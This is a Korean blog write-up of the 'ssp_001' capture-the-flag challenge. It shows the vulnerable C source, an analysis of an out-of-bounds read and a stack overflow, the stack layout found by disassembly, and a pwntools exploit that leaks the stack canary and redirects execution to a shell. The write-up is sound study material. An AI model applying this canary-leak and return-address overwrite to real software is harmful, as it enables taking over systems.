1. ssp_001 전체 code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
2. code 취약점 분석
2.1. case 'P' 분석
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
- 파라미터: *box: box buffer의 시작 주소, idx: 출력할 index 위치
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
- 루틴을 보면 idx의 범위를 정해주지 않아서 box 버퍼를 넘어 값을 읽어 올수 있음
2.2. case 'E' 분석
char name[0x40] = {};
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
- name 버퍼는 0x40
- read() 함수에 보면 읽어올 버퍼의 사이즈를 정해주고 있음
- name_len에 0x40보다 큰 값을 넣어주면 오버플로우 가능
3. exploit 시나리오 및 reversing
3.1. 시나리오
- case 'P'에서 canary 위치를 구하여 canary를 1byte씩 여러번 읽어와 준다.
- 그 다음 name버퍼를 overflow 시켜 실행 흐름을 get_shell()로 옮겨준다.
3.2. reversing
3.2.1. cannary 위치 구하기
- <main+19>, <main+25>를 보면 gs:0x14에서 canary 값을 읽어와 [ebp-0x8]에 넣는 것을 확인 할 수 있다.
- canary = [ebp-0x8]
3.2.2. box 위치 구하기
- print하기 전에 push하는 0x804896c 확인
![](https://velog.velcdn.com/images/dongtime/post/b9ccf56e-23f0-4f32-84bc-211af7c3bddb/image.png)
- case 'F' 루틴 확인
- <main+178>에 보면 [ebp-0x88]을 push하고 read 함수를 호출한다.
- box = [ebp-0x88]
- box <=> canary = 0x80
3.2.3. name 위치 구하기
![](https://velog.velcdn.com/images/dongtime/post/6224ca19-6b4c-4a62-9206-fd4889dd1bc0/image.png)
- box와 마찬가지로 print 전 0x804899a 확인
![](https://velog.velcdn.com/images/dongtime/post/cb8b3d57-eed2-4c8c-b7b5-b5298db3ccf8/image.png)
- read 함수 전에 push하는 버퍼 [ebp-0x48]
- name = [ebp-0x48]
3.2.4. return address와 name 버퍼 사이 구하기
![](https://velog.velcdn.com/images/dongtime/post/ee58c9df-4a89-49a3-944d-03fe88fe24cc/image.png)
![](https://velog.velcdn.com/images/dongtime/post/1b102359-23b1-4e0d-8335-cf83031da575/image.png)
- d50c - d4c0 = 4c(76)
- name: 0x40, canary: 0x4, sfp: 0x4 = 0x48(72)
- name부터 return address까지 거리가 4c인데 name, canary, sfp 다 더 했을때와 값이 다르다. dummy값이 끼어있다.
![](https://velog.velcdn.com/images/dongtime/post/2b0e56b0-5679-4136-a1f5-58bea61e0962/image.png)
- 0xffffd500: canary
- 0xffffd504: sfp
- 0xffffd508: dummy
- 0xffffd50c: ret
- sfp 뒤에 dummy값 확인
4. exploit code
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process('./ssp_001')
canary = b''
get_shell = 0x080486b9
for idx in range(132, 127, -1):
p.sendlineafter('> ', b'P')
p.sendlineafter('index : ', str(idx))
p.recvuntil('is : ')
canary += p.recvn(2)
canary = int(canary, 16)
slog("canary: ", canary)
payload = b'A' * 0x40
payload += p32(canary)
payload += b'B' * 0x8
payload += p32(get_shell)
print(payload)
p.sendlineafter('> ', 'E')
p.sendlineafter('Size : ', str(1000))
p.sendafter('Name : ', payload)
p.interactive()
![](https://velog.velcdn.com/images/dongtime/post/b3e0ff52-9d66-4091-81a2-64a3d3d67bd5/image.png)
성공!